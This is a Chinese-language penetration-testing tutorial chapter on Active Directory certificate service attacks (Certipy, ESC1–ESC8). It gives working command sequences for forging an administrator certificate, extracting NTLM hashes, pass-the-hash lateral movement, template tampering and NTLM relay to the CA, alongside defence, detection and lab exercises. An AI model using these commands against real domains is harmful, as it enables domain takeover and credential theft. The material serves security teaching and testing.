第 70 章 AD 证书攻击(Certipy / ESC 系列)
Active Directory 证书服务(AD CS)是域渗透的高价值目标:证书 = 身份 = 任何权限。ESC1-ESC8 是一系列"证书模板/配置错误"导致的提权路径,其中 ESC1 是 Certipy 最著名的攻击。本章系统覆盖 AD CS 原理、ESC 系列漏洞与利用链。
📍 知识点地图 | 主题:AD证书攻击 | 前置:第62章 | 后续:— | 核心概念:ESC1-8、Certipy、模板、PKINIT
70.1 AD CS 核心概念(先懂机制)
AD CS = 域内的证书颁发机构(CA),签发用户/机器证书
关键概念:
证书模板(Certificate Template): 定义证书的用途/权限/属性
注册权限(Enrollment Rights): 谁能申请该模板
扩展密钥用法(EKU): 证书能干什么
Client Auth(客户端认证)→ 用于 Kerberos 认证(最危险)
Smart Card Logon / PKINIT
SAN(主题备用名称): 证书代表的身份(谁)
攻击本质: 找到"能申请到代表高权限身份证书"的模板
→ 申请证书 → 用证书做 Kerberos 认证 → 提权
70.2 ESC1(最经典:模板 SAN 可控)
漏洞条件
模板同时满足:
1. 普通用户可注册(Enrollment Rights 包含 Domain Users)
2. 请求者可指定 SAN(Certificate Request Agent 或"Supply in the request")
3. EKU 允许 Client Auth(可用于认证)
4. 模板未配置"CA 管理员审批"
→ 攻击者申请"SAN=admin@domain"的证书 → 用证书认证成 admin
Certipy 利用流程
# 1. 枚举证书服务与模板(发现漏洞)
certipy find -u user@domain -p pass -dc-ip <DC> -vulnerable
# 输出: 标记 Vulnerable 的模板
# 2. 申请伪造身份的证书(ESC1)
certipy req -u user@domain -p pass -ca <CA> \
-target <CA_HOST> -template <VULN_TEMPLATE> \
-upn administrator@domain
# 输出: administrator.pfx(admin 身份证书)
# 3. 用证书认证拿哈希(PKINIT)
certipy auth -pfx administrator.pfx -dc-ip <DC>
# 输出: administrator 的 NTLM 哈希!
# 4. 横向(用哈希进域内任意机器)
crackmapexec smb <target> -u administrator -H <HASH>
完整攻击链
发现脆弱模板 → 申请高身份证书 → 证书认证(PKINIT)→ NTLM 哈希 → 域管
70.3 ESC2-ESC8 速查(漏洞家族)
| 漏洞 | 条件 | 利用 |
|---|---|---|
| ESC1 | 模板: SAN 可控 + 普通用户可注册 + Client Auth | 申请任意身份证书 |
| ESC2 | 模板: 任意 EKU(任何用法)+ 用户可注册 | 证书多用途滥用 |
| ESC3 | 模板: 注册代理(Enrollment Agent) | 代理申请高身份证书 |
| ESC4 | 模板: 注册权限由"可控主体"可改 | 改模板权限 → ESC1 |
| ESC5 | CA 服务器权限问题(AD 对象控制) | 控制 CA 服务器 |
| ESC6 | CA: 未打补丁 + SAN 编辑权限(EDITF_ATTRIBUTESUBJECTALTNAME2) | 任意身份(老版本) |
| ESC7 | CA 访问控制: 普通用户有"管理"权限 | 提权到 CA 管理员 |
| ESC8 | 未启用 NTLM Relay 保护(HTTP 端点) | NTLM relay 到 CA(配合 71 章) |
70.4 ESC4(改模板权限——最灵活)
原理: 某主体(攻击者)对模板有 WriteDacl/WriteProperty 权限
→ 攻击者给模板加"自己可注册"+SAN 可控 → 变成 ESC1
利用:
certipy template -u user@domain -p pass -template <TEMPLATE> \
-save-old -target <CA_HOST>
# 修改模板属性 → 重新利用 ESC1
70.5 ESC8(NTLM Relay to CA)
原理: CA 有 Web 注册端点(/certsrv/certfnsh.asp)接受 NTLM 认证
→ 受害者被 Coercer 强制认证 → relay 到 CA → 申请受害者身份证书
利用链(配合第 71 章):
1. Coercer 触发域控/服务器向攻击机认证
2. ntlmrelayx 中继到 CA 的 Web 端点
3. 申请受害者的机器证书(Machine/DC 身份)
4. 用证书认证 → DC 哈希 → 域控
70.6 证书攻击的检测与防御
防御:
□ 审计模板: 关闭 SAN 可控(CA 管理员审批)
□ EKU 最小化: 模板只给需要的用途
□ 注册权限最小化
□ ESC8: 禁止 NTLM 认证到 CA / 开启 EPA(扩展保护)
□ 监控: 异常证书申请(新模板/高身份 SAN)
检测信号(蓝队):
□ 非域管的用户申请高权限模板证书
□ SAN 含管理员/高权限账户的证书申请
□ PKINIT 异常认证(新证书首次使用)
□ Certipy 枚举流量(LDAP 查询模板信息)
70.7 完整测试流程
1. 枚举: Certipy find 找 CA/模板/权限
2. 漏洞标记: -vulnerable 输出(ESC1-8 判定)
3. 选型: 哪个 ESC 路径最直接(ESC1 > ESC8 > ESC4)
4. 利用: 申请证书 → 认证 → 哈希
5. 横向: 用哈希/证书访问目标
6. 报告: 漏洞条件 + 利用链 + 证据
70.8 检查清单
□ AD CS 发现(CA 主机/服务)
□ 模板枚举(Certipy find)
□ ESC1-8 条件逐一匹配
□ ESC1: SAN 可控 + 注册权限
□ ESC8: HTTP 端点 + NTLM 保护缺失
□ 证书申请 → 认证 → 哈希
□ 影响: 域控/域管
□ 报告: 完整链
动手练习
- 搭一个带 ESC1 漏洞模板的域环境(有现成指南),用 Certipy 完整走一遍"枚举→申请→认证→哈希"。
- 分析 ESC8 的利用链:Coercer + ntlmrelayx 如何组合(配合第 71 章)。
- 读一份公开的 AD CS 攻击报告,用 ESC 框架标注它用的漏洞编号。
- 练习防御视角:对一个 CA 做模板审计,找出哪些模板"应该被禁用"。
深入阅读
- 仓库:
CTF-Sandbox-Orchestrator/competition-ad-certificate-abuse/(AD CS CTF 子技能) - 仓库:
CTF-Sandbox-Orchestrator/competition-relay-coercion-chain/(relay 联动) - 仓库:
CTF-Sandbox-Orchestrator/competition-identity-windows/(AD 身份 CTF) - 仓库:
skills/pentest-tools/SKILL.md(Certipy 工具) - 实战案例:
skills/field-journal/seed-005_ad-certipy-esc1.md(ESC1 实战) - 外部: SpecterOps "Certified Pre-Owned"(AD CS 权威研究)